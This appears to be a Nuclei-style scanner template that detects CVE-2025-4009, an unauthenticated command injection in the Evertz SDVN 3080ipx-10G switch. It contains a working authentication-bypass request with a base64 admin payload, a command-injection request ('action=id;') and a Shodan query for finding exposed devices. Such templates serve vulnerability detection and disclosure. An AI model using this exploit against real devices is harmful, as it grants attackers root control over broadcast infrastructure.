id: CVE-2025-4009

info:
  name: Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection
  author: ONEKEY,iamnoooob,pdresearch
  severity: critical
  description: |
    The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary commands with root privileges, potentially disrupting media streaming or manipulating content.
  remediation: |
    Apply the security patch from Evertz or restrict network access to the web management interface to trusted administrators only.
  reference:
    - https://www.onekey.com/resource/security-advisory-remote-code-execution-on-evertz-svdn-cve-2025-4009
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/S:N/AU:Y/V:C
    cvss-score: 9.3
    epss-score: 0.74956
    epss-percentile: 0.99457
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"evertz.min.css"
  tags: cve,cve2025,evertz,rce,unauth,vkev,vuln

variables:
  payload: '{"user": {"name": "admin", "login": "admin"},"role":{"name":"administrator", "restrictions": [],"deleteable": false}}'

http:
  - raw:
      - |
        GET /login.php?authorized={{base64(payload)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PHPSESSID","webeasy-loggedin","index.php")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /v.1.5/php/features/feature-transfer-export.php?action=id;&filename=&varid=&slot= HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009622ac8ce9143300a4e7e381bd52b3ef0b59dd3a1ba7bc9f5e0a2a4de6824aa5022100959d5026fc60eb1b13b92d6a585aaaa8df121d0234c80f02acdf77ee98c2e8b0:922c64590222798bb761d5b6d8e72950